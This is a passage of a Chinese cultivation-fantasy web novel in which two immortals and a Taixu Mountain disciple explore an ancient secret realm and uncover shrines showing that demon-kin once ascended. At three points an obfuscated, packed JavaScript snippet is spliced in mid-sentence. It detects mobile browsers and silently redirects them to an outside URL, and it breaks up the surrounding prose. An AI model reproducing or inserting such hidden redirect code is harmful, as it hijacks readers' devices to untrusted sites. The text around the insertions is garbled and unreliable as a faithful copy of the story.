他站定:“在下名唤冉愉,感谢二位方才为我们解围,不知二位师出何门?” 郁离此时还不知道常瀞根本不曾错认,人已是十分恍惚,根本没太听进去对方在说什么。 他一会儿告诉自己,认错了不是正好,可以借着机会洗清嫌疑,永远躲下去;一会儿又想,不行!怎么能让常瀞认错一个冒牌货! 等他下定决心,决定先观察一下的时候,常瀞已经开始在胡说八道了。 常瀞开口就来:“我们两个从东洲一个很小的宗门来,他是我师弟。我俩外出历练的路上看好多人朝这儿来,也跟着来了。” 冉愉:“这样啊,你们出自东洲小宗门,又是怎么知道中原玄风门的传信鸟呢。” 常瀞丝毫不怵:“我俩一入镇,恰巧跟在他们后面,偶然看到的罢了。我能问问突然这么多修士来这六河镇是为什么吗?” 冉愉:“告诉你们也没什么,很多宗门都知道了。这里即将要开启一个秘境,大家都是想来这儿碰碰运气。” 毕竟师出同门,都是自家人,常瀞毫无边界感顺杆就爬:“什么秘境。” 冉愉加重语气:“一个上古秘境,很是神秘,开启时间、地点、方式都不确定。上次有它开启的消息还是在三百年以前了。” 常瀞的心怦怦跳了起来。 不会吧,难道星悬说的收获,就是指他三百年前为了带郁离出山想要进去寻找线索的那个上古秘境?! 22. 秘境(二) 常瀞当即便决定要混入太虚山的队伍里,看能不能打探出关于上古秘境的更多消息,毕竟这个上古秘境可真是特别难进。 他扬起招牌笑容:“不知能否带上我同我师弟,我们实力低微,就是想进秘境瞧瞧,保证一进秘境就同你们分开,绝对不拖后腿。” 还未等冉愉开口,方才争执中一直冲在前面的小个子剑修就打断了他:“大师兄我们不能答应他!这两个人突然冒出来,奇奇怪怪的,谁知道有什么企图!” 冉愉思索片刻:“廉方,不得无礼,方才他们还帮了我们,何况只是引个路而已。” 廉方还是不死心:“有大师兄在,不用他们帮,咱们也不会输给玄风门。秦子谊你说,你同不同意!” 秦子谊摸摸头:“我听大师兄的。” 廉方:“你!” “好了,就这么定了,带上他们。”冉愉搞定了两个师弟,又向常瀞二人赔了个不是。 郁离看着常瀞眉开眼笑地同冉愉套近乎,心里像是打翻了醋缸一般,不是滋味。 出了茶楼,一行人朝太虚山落脚的山腰走去。 六河镇山脚下是热闹的集市,百姓则大多在山上安家。客栈都在山下,太虚山便找了山腰的一户人家,给了些银子借宿。 这即将开启的上古秘境太过神秘,且开启时间极短。他们从收集到的信息中也推断不出秘境会在山上的什么位置开启,最后折中选了山腰下榻。 一旦秘境开启,他们朝山下或是山上走都方便,许多有经验的宗门都和太虚山一样选择了在山腰处落脚。 天色已晚,千余座吊脚楼灯火通明,远望连成一片,从山脚层层叠叠蔓延至山顶。 太虚山借宿的人家很是宽敞,只住了一个农妇,还有多余的空房间可以住。 一路走来,他们也把太虚山和秘境的消息打听了个七七八八。 六河镇数日之前曾有异象出现,一棵参天大树的虚影从六河镇拔地而起,足足有一刻钟才消散。 各大宗门得知消息后,经过多方推演对比,确认最神秘的那个上古秘境即将在六河镇开启。 太虚山斟酌过后,决定只派出冉愉三人。毕竟这秘境是真的很难进,即使到了也不一定就能进去。翻遍所有的相关记录后,总结起来的诀窍就只有三个字,“看缘分”。 长老们临行郑重嘱托,太虚山进不去没关系,但一定要保证他们玄风门进不去。 冉愉三人就带着这不靠谱的嘱托来到此地,三日过去了,还是没有发现任何异动。 冉愉正襟危坐,微微蹙眉:“据之前的记载,从异象到开启只有短短一日,这次为何隔了这么久。” 廉方懒懒地靠坐在廊下,随口接道:“谁知道呢,说不定这秘境等人呢。” 夜深了,大家散去,郁离和常瀞被分在了同一间屋子里。 常瀞规规矩矩在床上躺好,拍拍床:“不来睡?” 郁离还想着冉愉那张脸呢:“不睡了,我修炼,顺便守夜。” 常瀞似乎习惯了他的拒绝,不再多言,自顾自灭了灯。 郁离凝神许久,还是入不了定,终究还是没忍住开口:“星君,睡了吗?” 常瀞早就看出了他的不对,就等着他问呢:“怎么了。” “咱们明日还是跟着太虚山一起行动吗,廉太虚山的廉方一直看咱们不顺眼,这消息咱们也打听的差不多了,不如明早就向他们告辞吧。” “最好不好,虽然我和他们师出同门,但是他们也不认识我呀,谁知道有没有瞒着咱们什么。不过,你到底是不喜欢廉方,还是不喜欢冉愉呀?” 郁离惊慌:“怎么会,我同他们无冤无仇的,谈不上什么不喜欢。” 常瀞偷笑,还跟他装呢。算了不逗他了,他若真是郁离,再逗下去,怕是该难过了。 他清清嗓子:“我提出跟着他们,真的只是想进秘境瞧瞧,这是我三百年曾经错过的秘境,里面或许会有开启一个上古结界的线索。” 三百年前?上古结界? 他说的是深山的结界吧。 常瀞果然不曾认错人,心里还是念着他的,郁离心里又甜了起来。 次日,太阳初升,一道树影突然出现在山顶之上,几息之间越长越大。 郁离和常瀞匆匆推开房门,看到太虚山三人也从房内走出,对视一眼,就一起朝着山顶疾驰而去。 抵达山顶时,巨树的虚影已经开始变小。 “不好,快过去,等树影消失了,秘境就进不去了!” 前面有几人冲得飞快,郁离眼睁睁看着他们刚撞在树影上,就被弹开。接着又是好几人被弹飞。 郁离:“……” 好一个入内看缘分,真是直白的粗暴。 树影越来越近,越来越小。郁离刚做好被弹开的防御准备,一道光芒就吞噬了他。 再睁眼时,就是一片从未见过的绮丽风景。 他们的落脚点在一处高高的悬崖上,远处云山雾罩,白练似的瀑布在高峻的山间飞泄而下,注入一汪汪清透的池水里。神仙芝草绕着芳甸生长,珍奇异兽在林间穿梭游荡。 如同仙境一般,郁离在心里感叹着,依依不舍地移开视线,看向其他人。 情况不错,他与常瀞都进来了,然后就是太虚山三人。不远处玄风门也在,只不过他们五个人只进来了两个。再有就是些不知道名字的宗门,零零散散一共有七八个人。 玄风门的杜丰年环顾四周,发现了常瀞:“是你!你骗我们镇东有乌鸫掉下来,我们没去找你麻烦,你竟还敢出现!” 常瀞拉着郁离就躲到了太虚山三人身后。 杜丰年更生气了:“好啊,你们跟太虚山果然是一伙的!” 冉愉上前一步,挡住想要冲过来的杜丰年:“杜兄,冷静。” 杜丰年怒道:“你要我怎么冷静,许益快过来给我拖住他们!” 许益看了看形势,弱弱道:“师兄,您要不先看看,对面五个人,咱们就两个,这怎么打。” “那算,算了,我们大人不记小人过。下次别让我再看见你们!”杜丰年这才冷静下来,“许益咱们走!” 郁离探出头,确认玄风山真的走了,才把常瀞从冉愉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196568|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后揪出来。 他们按照事先约定好的那样,和太虚山分开行动。 冉愉最后回头打量了一眼他们离去的背影,若有所思。 从悬崖上看,秘境大致分为两个区域,西边区域较小,是一片密林,南边树木稀疏,是大片的水泽,远处则有片建筑群若隐若现。 在记载中,秘境的宝物就藏在那片建筑群里。曾有人从中带出过威力极强的法器、宝剑、功法等等。 秘境不知是哪位性格温和的上古修仙大能留下的,在秘境中,没有任何危险,就连异兽都不会主动攻击人。 这也是随便哪个小宗门都敢来碰碰运气的原因,就算是在秘境里同其他人起了争斗,也不会有生命危险。秘境能精准地在人受到致命攻击之前,将他传送出去。 郁离和常瀞也选择了从南边深入,他们一路走一路搜刮。 是的,就是搜刮。 外界珍稀无比的木材和石料在这里随处可见,郁离已经挑花眼了,他觉得他此刻就是整个秘境里最幸福的人。 跟常瀞来这一趟实在是太对了,这一趟可能不是常瀞的惊喜,是他的惊喜才对。 装到储物袋已经装不下了,他就开始挑挑拣拣,恋恋不舍地从中选出不那么珍稀的,放回秘境。 常瀞跟在他身后几次张口,又几次合上,实在是看他太高兴了,不忍心告诉他。 当他看到郁离为了敲下一块坚硬无比的晶石而气喘吁吁的时候,终于忍不住了:“那个,这个秘境其实只允许一人带走一件物品。” 郁离敲石头的动作一僵:“什么?” 常瀞声音飘忽:“就是这样,之前进入秘境的人都只带出来过一样。” “你怎么不早说!” “我看你太兴奋了,感觉说出来你会很难过。” “那我现在就不难过了?!” 常瀞哄孩子一样:“好了好了,那这样吧,你先把这些东西都拿上,这些毕竟不是法器功法一类的,万一可以带出去呢。然后出去的时候,你挑一样给我,我拿上,这样至少保证你能带出去两样。” 郁离垂头丧气,完全没了方才兴奋的样子,他挑了半天,最后只是选出一块灰扑扑的石料收好:“不用了,咱们先走吧。你或许也有想带出去的东西呢,不是来找打开结界的线索的吗?” 两人又走出不远,郁离感到头上发痒,他伸手一摸,吓了一跳。 他的头顶上不知何时长出了一株幼苗! 常瀞也惊到了,他皱着眉凑过来,轻轻碰了一下幼苗的叶片:“这秘境也没有让人头顶长叶子的记载啊。” 郁离试探着拔了拔,一股钻心的疼痛从幼苗根部向全身蔓延。他顿时不敢再轻举妄动了。 常瀞也摸摸头顶,低头让郁离检查。他的头顶很正常,什么奇怪的东西都没长。 他问郁离:“有不舒服的感觉吗?” 郁离摇头。 “那我们再往前走走吧,看能不能遇见其他有这种情况的人,或许会有答案。” 正说着,前方草丛就被分开,走出来两个手里拿着雪亮长剑的人。 23. 秘境(三) 玄风门的杜丰年率先走出来,气势汹汹:“你们还敢和太虚山分开,那这回就是你们自找的了!” 走在后面的许益则有些战战兢兢:“师兄,要不还是别了,欺负一个小宗门传出去也不好听。” 杜丰年活动了一下手指:“怕什么,秘境允许竞争,而且这里又不会死人,只是把他们送出去。再说了,是他们先挑衅咱们的,我今日非得把这口气给出了!” 许益眼睛闭了一下又张开,朝前方还站着一动不动的郁离和常瀞道:“那,那对不住了,兄弟。” 常瀞有些好笑地看着眼前这两个半大少年:“你们玄风门这些年可越来越不行了啊,我记得从前还有几个挺能打的啊。” 杜丰年听到此处,气得火冒三丈:“你们两个都不知道从哪冒出来的人,还敢评价玄风山,谁给你的胆子!” 常瀞叹口气:“寻仇还废话这么多,你还是赶紧回玄风门回炉重造一下吧。” 郁离起初还试图说和一下,尽量和平解决,不要起争执。结果常瀞的嘲讽来的太快,一下子拉满了对方的怒火。 不是,你们太虚山和玄风门到底什么仇什么怨啊,常瀞平日里也不这样啊。 常瀞拍拍他的肩,小声道:“这回靠你了,把他们全给我送出去!最熟悉太虚山剑法的,除了太虚山就是玄风门了,我怕我一用就暴露了。” 郁离:“……” 杜丰年气得提着剑就冲了过来:“冉愉就是被你那张脸迷惑了才护着你吧,我今日非得把你这张脸和这张嘴划烂不可!” 郁离皱起眉,对方说的话太过难听了。 他不再犹豫,身后浮现出一个傀。 傀从玄风门二人身后掠过,银光一闪,便干净利落将二人送了出去。 秘境外,六河镇山顶。 杜丰年被送出去的时候,还维持着出剑的姿势。 他重重落地,被摔蒙了。 身旁比他先落地的许益揉着屁股挪过来:“师,师兄,什么情况啊,咱们怎么出来了。” 杜丰年的脸由红转青:“不,不可能!小宗门来的人怎么可能那么强!我不信,咱们就在这等他们出来,再打一场!” 秘境里,常瀞鼓掌:“不愧是阿离大人,你可要好好保护我啊。” 郁离:“别叫我大人,谢谢。” 两人见太阳已经升至头顶,开始加快速度,打算赶在其余人之前先行抵达建筑群,可以保证寻找线索的时候不被干扰。 秘境内不允许御剑,以他们的修为,至少可以提前其余人一天到达目的地。 秘境深处的建筑比起前面看到的水泽区域就显得有些寻常了,没有什么特别值得称道的地方。 他们很快将里面搜寻了一圈,最后将目光放在了还未踏入的主殿里。 常瀞在主殿前停住了,细细打量着。 这儿的建筑格局和主殿的样式怎么有点像太虚山啊。 郁离见他未跟上来,转身唤他:“快点啊。” 常瀞应道:“来了。” 一进主殿,两人就被震撼到了。这不是主殿,这就是个藏宝库。 主殿里打满了直通屋顶的架子,数不清的法器、宝剑、功法、丹药等宝物分门别类摆在架子上,等待有缘人取走。 这次轮到郁离拍拍常瀞的肩:“这数量可不少,星君咱们快点开始吧。” 常瀞望了眼窗外暗下去的天空,咬咬牙:“今夜不睡了,找!” 他们足足找了一夜,连有些法器和宝剑上刻着的文字都细细看过一遍,依然毫无所获。 常瀞不语。 郁离安慰他:“要不咱们再找一遍,这不还有四天时间。” 常瀞摇头:“不用了,这里都已经翻遍了,再找下去也是白费力气。没事的,本也无人确定这秘境里就有我想要的线索。你快坐下歇歇吧,找了一夜了。” 郁离靠着一根柱子坐下。 他知道常瀞这么拼命的找是想要找到能解开深山封印的办法,可他明明清楚这里不会有,却不能告诉常瀞。 他轻轻叹了一口气,他可真坏啊,看着常瀞在这里难受,还要假装好心,陪他找根本不可能存在的线索。 可若这秘境里不会有常瀞想要的线索,那祝星悬口中的收获又会是什么呢。这主殿中藏着的宝物固然珍贵,可也不至于珍贵到让已经飞升的常瀞视为惊喜。 郁离思索着,在地上涂涂画画。 半晌他突然开口:“星君,你来看。” 郁离在地上画了一张简易版的秘境地图:“你看这地图,南边这片咱们基本上已经转完了,那西边呢,西边那片密林里有什么?” 常瀞从前面一排架子后面走回来:“西边的密林没有任何记载,所有记载里进过秘境的人都是在这间充满宝物的大殿里呆满了五日就出去了。” 郁离:“那你说有没有可能,主殿只是障眼法,密林里才藏着秘境主人真正留下的宝物。不然你看,咱们把这里都转遍了,连点儿关于秘境主人的信息都没看见,这秘境主人当真如此低调到连个身份都不舍得让人知道吗?” 常瀞:“有道理。从悬崖上向下看,这片建筑群太显眼了,就好像是刻意在引人过去一样,反倒是西边范围不大的密林相比之下十分隐蔽。一般人从悬崖到这里需要将近两天时间,从这里到密林那边就更远了。他们好不容易进到主殿里,看到这么多的宝物,当然不会想到要往密林那边去。” “那咱们去看看?” “好。” 两人行动力极强,赶在傍晚抵达了密林边缘。 鉴于这一片密林之前从未有过相关记载,他们决定在林子外面歇一晚上,第二日再进去。 第二日早晨,常瀞站起身伸了个懒腰,余光瞄到了郁离头顶,大惊失色。 他按住郁离的肩膀,不让他起来:“你别动,让我看看。你头上这草怎么还长大了!” 郁离也吓得摸上头顶,过了一天时间,他头上发痒的感觉早已消失,有时他甚至都忘了头上还长着棵草。 那棵草已经窜高了有两三寸,正在随风轻轻摇摆着。 常瀞仔细观察着:“这叶子细细长长的,不知道是什么草。” 郁离:“……” 他还有心情思考这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196569|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么草??? 常瀞小心避开那棵草,拍了拍郁离的头,安慰道:“应该问题不大,不痛不痒的,等从秘境出去说不定就没了。” 郁离摸摸头上的小叶片:“只能这样了,咱们快走吧,看看这林子里有什么。” 常瀞一马当先,走在前面。 密林里面很安静,除了他们穿行发出的声音以外,只有偶尔传来的一两声虫鸣和鸟鸣。树木生得高大而茂盛,阳光都很难照进来。 他们走着走着,天色越来越暗,感觉过了许久。 常瀞停下脚步:“不太对劲儿啊,这片林子从悬崖上看范围也不大,为何走了这么长时间都没走到边际。” 郁离环顾四周:“这里果然有问题,秘境主人大概在这里设了阵法或是结界。” 常瀞抿嘴:“怎么又是阵法或是结界,这下好了。等回上清境我一定要把姬润抓来,好好向他学一学阵法。” 郁离:“先在四周看看吧,或许能找到阵法或是结界的位置,找到了就试试看能不能把它轰开。” 常瀞:“能造出这么个秘境的人设下的阵法或是结界,能叫咱们轰开吗。” 他话音未落,郁离手臂一动,朝后方甩出一道银色弧光。 弧光正中他们身后的一棵树。 树干晃了晃,从后面走出一个人。 冉愉摸摸心口:“吓死我了,我才刚刚靠近,你们真是警惕。” 郁离见是冉愉,放下了一半心:“抱歉,我方才还当是有危险靠近。” 常瀞收起已经拔出的剑,问道:“不知冉兄怎么来了这里。” 冉愉的视线在常瀞收起来的剑上绕了一圈,回道:“咱们分开后,刚深入秘境没多久,我就感受到密林这边有声音在呼唤我。” 郁离、常瀞一头雾水,怎么感觉像骗人呢,这秘境你家的,还呼唤你。 冉愉见他们不相信:“真的不是骗你们。我听到呼唤后觉得应当来看看,但密林这边没有任何记载,我怕是陷阱,就让廉方和子谊向建筑群那边去了,自己一个人过来。” 郁离、常瀞有些敷衍:“好了好了,我们相信你。” 冉愉对此感到很无力。 一束夕阳的暖光穿过树隙照在郁离身上,他的视线不由被吸引过去,眼睛一亮:“你头上也长草了!我还以为就只有我一个人不知道中什么招了。” 他一边说着一边指向自己的头顶,那里也长着一棵草。只不过冉愉戴了发冠,那棵草被挤得贴着发冠,不是很明显。 郁离和常瀞终于不是很怀疑了,一块凑过去研究冉愉头顶的草。 细看之下两人的草其实有些区别,郁离的偏细长,冉愉的则有些偏圆。 一阵清风吹过,毫无征兆的,郁离和冉愉就发现对方头上的草被风带走了,一点根都没留下。 两棵草随风上下翻飞,飘向不远处,随后仿佛被一道无形的屏障吞噬,就那样消失不见了。 郁离、常瀞、冉愉:“?!” 一场大雾忽然升起,几息之间又渐渐散去。 视野清晰后,前方出现了与方才不一样的景致。 24. 秘境(四) 方才还树木丛生的林间忽然出现了一条石板小径,像是在邀请他们进去。 郁离摸摸头顶,所以那两棵草就是打开前路的钥匙。 这钥匙是随机的?还是有选择的?若是有选择的,为何选了他和冉愉。还有,冉愉提到的呼唤声,为何他没有听到? 重重疑问涌上郁离心头。 他们刚一踏上小径,便像是从秘境中进入了另一个空间。 明明还是同样的树林,同样的鸟鸣和虫鸣,在这里就不似秘境中的鲜活,而是如同静止了一般,永远停留在被创造出来的一刻。 沿着小径没走多远,他们来到了一片被树木围绕的草地。 草地上安静地立着一颗树,树梢上开满了金红色的小花,一簇一簇的,像是一团团火焰般,璀璨耀眼。 他们屏住呼吸走到树下,树枝随风微微摆动,有淡淡的花香在空中弥漫。 郁离轻嗅,花香沁人心脾。 有那么一瞬间,他仿佛放下了尘世间的一切烦恼。 “无忧树。”冉愉喃喃道。 “什么?” “这是无忧树,是佛教中的圣树。传说中,摩诃摩耶王后在无忧树下诞下了释迦牟尼,后来释迦牟尼创建了佛教,为众生解决苦厄。所以,人们把这种树称为,无忧树。”冉愉解释道。(注) 郁离抬头望着树枝上的繁花:“这里为何会有一棵无忧树?” 冉愉摇头。 “你们快来。”常瀞不知何时绕到了树后。 树后立着一块石碑,被树荫挡得严严实实,一点儿也没被阳光晒到。还有一个藤编竹篮摆在石碑旁,打开来竟是几盘精致的菜肴,还冒着热气。 石碑上书:佳肴备矣,盼吾徒早归。 松鹤书 冉愉看着石碑上的几行文字,不知为何,心口刺痛。 “松鹤!上古时期太虚山宗主的名就是松鹤!难怪我一直觉得这秘境的那片建筑看着眼熟。”常静惊讶道。 “是冉松鹤宗主。”冉愉眯起眼,“不过,我倒是没看出来常兄对我们太虚山如此了解。” 常瀞眼神一滞,快速找补:“害,那不是你们太虚山太有名了嘛。” 郁离也跟着转移话题:“太虚山传承悠久,存在过那么多位宗主,冉兄难道都记得如此清晰?” 冉愉:“倒也不是,实在是冉松鹤宗主的贡献太大了,不仅是对太虚山,而是对整个三界。他是太虚山公认的历代宗主中最优秀、修为最强的一位,曾获得过上清境的认可,却不知为何没有选择飞升。” “上古时期,魔物首次降临,大肆来犯。上清境那时才初成,有些措手不及,凡间的战场几度面临全面崩溃。是冉松鹤宗主率领凡间一众修仙者,稳住了战场,为后期反攻挤出了时间。” 郁离沉默,史书上对于魔物初次降临的那段记载太过残酷,所有为抵抗魔物做出过贡献的人都应当被尊敬。 常瀞环顾四周:“没有路了,这儿就一棵树、一块石碑和一篮子好菜。冉松鹤宗主费劲心思藏起来的,就是他们师徒情深的证明?” 郁离:“不会吧,肯定还有我们没发现的线索。” 冉愉蹲下身,轻抚石碑上的落款:“宗门志中记载冉宗主一生唯有一个徒弟,他的徒弟叫渊渟,在冉宗主战死后接替他成了太虚山的下一任宗主。这碑文中冉宗主等的徒弟就是他吗?” 常瀞:“或许吧。” 郁离走回树下:“太虚山以道教立本,冉宗主留下的秘境中为何会藏着一棵佛教圣树。” 冉愉不语,轻抚上无忧树的树干:“这棵树还活着。” “是吗?”郁离也抬手放在树上。 果然,这棵树与草地旁包围的其他树不同,在它的枝干与叶片中仍然流淌着生命力,虽然很微弱。 说来也巧,在郁离也将手放在树上的刹那,无忧树就泛起了一层淡淡的光。渐渐地,光芒愈来愈盛,他们不得不闭上眼,抵挡强光。 再睁眼时,他们离开了方才那片草地,又来到了一个陌生的地方。 郁离:“……” 这秘境怎么还一层套一层的,这回该是最后一层了吧。 眼前又是一片密林。不过这里的树木相比前面两层秘境里的就高大多了,一棵棵巨树拔地而起,枝干上托起茂盛翠绿的树冠,宁静而神秘。 林中弥漫着草木清新的芳香,树下绿草如茵,其间长着一些各式各样的蘑菇和花草。 一株藤蔓从它缠绕的枝干上垂下来,摇头晃脑地奔向郁离。 “小心,这好像是藤妖。”常瀞一步向前跨去,抽剑挡在郁离前面。 见藤妖还在向前,常瀞无法,只能挥剑砍上去,却砍了个空。 常瀞的剑就像是根本没有接触到藤妖一般,从空中划过。藤妖仍在执着的往前探,他十分诡异地穿过常瀞的身体,用叶片轻轻触碰了一只在林中飞舞的蝴蝶。 冉愉大胆地伸手碰了一下藤妖:“他好像是灵体,不是真实存在的。” 郁离自告奋勇爬上树,发现远方一块高耸的石碑,异常显眼。 他们决定去那个方向看看,一路走去,发现了更多的灵体在林中游荡。有在枝头振翅的金乌、在泉边饮水拥有足足四只角的纯白巨鹿,还有长着狼耳狼尾的少年、在赤裸胸膛上绘着绮丽纹样的男人,这些灵体,无一例外,全是妖族。 他们走了很远,才走到石碑所在的地方。高台之上,伫立着汉白玉砌成的石碑,石碑上密密麻麻刻满了文字。 常瀞仔细辨认:“这是上古时期的文字。” 郁离:“好像都是些人名。” 冉愉:“这上面刻着的人名里,有些是上古时期参与魔物战斗的那批人。” 郁离指着石碑后面:“那儿还有三座祠堂。” 他们走进了正面的那座祠堂,一进门目光就被一幅巨大的壁画所吸引。纵使时隔多年,壁画仍像新绘的一样清晰。 借着祠堂里供奉的长明灯,他们看清了壁画的内容。画上描绘了一个宏大的战场,拿着各种武器的人在地面和天上同被魔物控制的人战斗。战斗十分惨烈,不断有人倒下牺牲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196570|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 郁离:“这画上画的是上古时期?” 常瀞:“应该是。” 冉愉:“咱们再去两侧的祠堂看看吧。” 第二座祠堂的墙上同样绘着一幅壁画,同样是和魔物战斗,只不过画面中在强调不同的重点。它模糊了地面上的人,突出表现了在天空中战斗的一些人,他们都被画上了一层淡淡的光。 郁离:“这是在表现上清境?” 常瀞点头。 冉愉:“为何只挑了天上的一部分人重点画?” 他们带着疑惑来到了最后一间祠堂,墙上绘着的壁画为他们解开了答案。最后一幅壁画详细刻画了方才那幅画中被粗浅略过的那些人。他们的身上都带有一些非人的痕迹,比如角、尾巴、兽耳,最前面还有一个人的头上长了一根带着叶子的枝条。 常瀞疑惑:“这些画在天上的人明显是妖族,可壁画里在天上的那些人不是在表现上清境吗?” 郁离想到了一种可能,一种颠覆他们认知的可能:“假如壁画就是想表现这个意思呢?” 常瀞震惊:“你是说——” 郁离:“在上古时期,妖族也可以飞升。” 冉愉:“照此说来,建这三个祠堂的目的已经很清晰了,一个祭黎民,一个祭上清境人族,一个祭上清境妖族。” 郁离:“看来冉宗主真正想藏起来的就是这个祠堂吧。秘境引我们进来,就是想让我们发现妖族也是可以飞升的真相。” 常瀞眉头紧锁:“妖族可以飞升为何在现存的所有记载中都找不到。而且在我们自小读到的关于上古时期与魔物抗争的历史里,从未出现过妖族的影子。如今细细想来其实很奇怪,妖族那时也与人族生活在同一片土地上,他们肯定也被魔物肆虐所波及,为何一点相关记载都没有。” 冉愉喃喃道:“是什么力量如此强大,能够改变所有人的记忆,篡改历史。” 郁离紧紧盯着壁画:“这真相太可怕了。冉宗主千方百计留下这些,还让我们看到,是想让我们去调查这股力量吗?” 冉愉:“冉宗主为何会选择我们,他为何相信凭咱们三个能调查出来些什么。” 常瀞踱了几步:“这太艰难了。这秘境里壁画的真假且不说,就算我们三个出去告诉别人,我们在秘境里看到的东西,又有几个人能推翻自己认知中的历史,相信我们。” 郁离:“那还是从长计议?出去以后先各自调查,不要走露风声,先确认一下这壁画内容的真假。” 冉愉同意。 常瀞依然沉着脸:“就怕没有那么多时间了,阿离你还记不记得上次在庐山镇,魔物说的那些话。这秘境传承这么多年从未被人发现过秘密,为何偏偏是咱们一进来就被发现了,而且从头到尾,就像是一直在引着我们发现一样。” 郁离听懂常瀞的意思,有些惶恐:“如果这二者之间有联系,恐怕世间会有大动荡啊。” “打断一下。你们口中的魔物是方才壁画里那种吗?”冉愉拱手行了一礼,“还是说,我该称呼二位,仙君大人。” 25. 秘境(五) 常瀞愣了一瞬,见冉愉如此笃定,也不再掩饰:“你是怎么认出来的。” 冉愉恭敬道:“太虚山的藏宝阁里有一幅您的画像,被我偶然发现。起初我不敢确定,直到看到了您的佩剑。那柄剑就是露白吧,与画像中的一模一样。” 当常瀞听到太虚山有幅他的画像时,差点儿一口气没上来。 “你,你确定画里是我?!” “千真万确,它被妥善地放在角落的一个盒子里。我记得上面还有‘贺常瀞小儿飞升愉快’几个字,落款是沉临池。不过,仙君的画像为何会收在藏宝阁里。” 常瀞嘴角抽搐了两下。行,沉长老您真行,算您还没那么疯,真给挂在正殿里。不过,你把画像收在藏宝阁里也挺诡异的,还是今后看看找个机会把画像拿走吧。 常瀞飞升前的最后三年都是在太虚山度过的。他找了一个太虚山鲜有人去的山头,住在山洞里,独自苦修。 他那阵子心里只想着一件事,就是修炼,他一定要飞升。宗门里的长老们,怕他崩的太紧,反而会走火入魔,都来劝他,让他放平心态,以他的天赋,百年之内必定会飞升,不必急于这一时。 只有沉长老在一旁冷嘲热讽:“让他炼,反正说了他也不听。照他这么炼下去,迟早完蛋,还想飞升。” 常瀞只是望了他一眼,没说话。 沉长老捋捋他已经有些打结的胡子:“嘿,还会生气,会生气就好。我话今日撂在这儿,你若是能飞升,我亲笔为你画一幅画像,就挂在正殿里!” 沉长老年轻时,是位远近闻名的画师。丹青妙手,画尽河山。然而,他却在名气最盛的时候突然封笔,也不解释原因,回到太虚山踏实修炼,人也变得不修边幅起来。 常瀞坚持认为寻常画师都还原不了他的美貌,在见过一幅沉长老早年为病逝的皇后画的肖像后,一直想让沉长老给他也画一幅,缠了他好多年。沉长老酒虽然是没少喝他的,但也没松口答应为他画。 后来常瀞飞升了,某日沉长老在酒醒后想起了他曾对常瀞撂下的狠话。他挥毫落纸,将画真的挂在了太虚山正殿里。只不过没挂几天,就被宗主一边嘟囔着“成何体统”,一边转来转去选地方,最后收进了藏宝阁里。 冉愉:“那此事有二位仙君在,我便放心了。” “你误会了。”郁离赶忙摆手,向后退了一步,“我不是上清境的。” 常瀞笑着一把揽住郁离肩膀:“可你比我厉害多了啊,咱们这次面对的敌人肯定很强大,你可要保护我啊,阿离大人。” 郁离推了他两下,没推开。 冉愉在祠堂里又转了转:“这儿似乎没有别的线索了,咱们去别的地方再看看吧。” 他们走出祠堂,天色还是阴沉沉的。 郁离向四周张望,总觉得头顶的云层没有移动过的痕迹,这一层秘境里也没有时间流逝的感觉,就像是秘境主人为了赶时间,做得很匆忙一样。 再次经过石碑时,壁画传达出的信息沉重地压在他们心头,每个人的步伐都慢了几分。 这座石碑凝聚着无数先辈的血和魂,它本该立在三界当中受万众景仰,却不知为何数千年来屈居于此,无人问津。石碑无言,其上的名字却好似在泣血,尤其是那些参与作战的妖族,他们才是真真切切地被所有人遗忘。 郁离的视线定在前方高台之下,他手指着:“你们看,那儿是不是有一个,灵体?” 那个灵体十分透明,和树林里遇见的那些都不相同。灵体看不清容貌,发间似乎垂着一根枝条,只能从身形上勉强辨认出是一名男子。 常瀞蹙眉:“他们不是只在树林里活动吗,咱们方才来的时候,祠堂这边没看见一个灵体。” 郁离往边上走了几步:“不清楚,咱们绕过去吧。” 谁知三人刚换了个方向,一直飘飘悠悠的灵体就朝他们飞过来,拦住了他们的去路。 灵体发出不清晰的声音:“来者何人。” 郁离、常瀞、冉愉:“!” 灵体说话了!这竟是一个能交流的灵体! 郁离谨慎回答:“我们误入此地,无意打扰,不知前辈是?” 灵体晃了晃脑袋:“我不记得了。” 郁离见灵体没有敌意,追问:“那前辈拦住我们是?” 灵体痛苦地抱着头:“我不记得了。” 郁离:“……” 冉愉试探:“那前辈还记得什么?” 好在灵体这一次给出了不一样的回答:“我,我记得,师尊,师尊在等我。” 常瀞眼睛一亮:“你师尊是谁。” 灵体一字一句:“冉松鹤。” 郁离、常瀞、冉愉:“!” 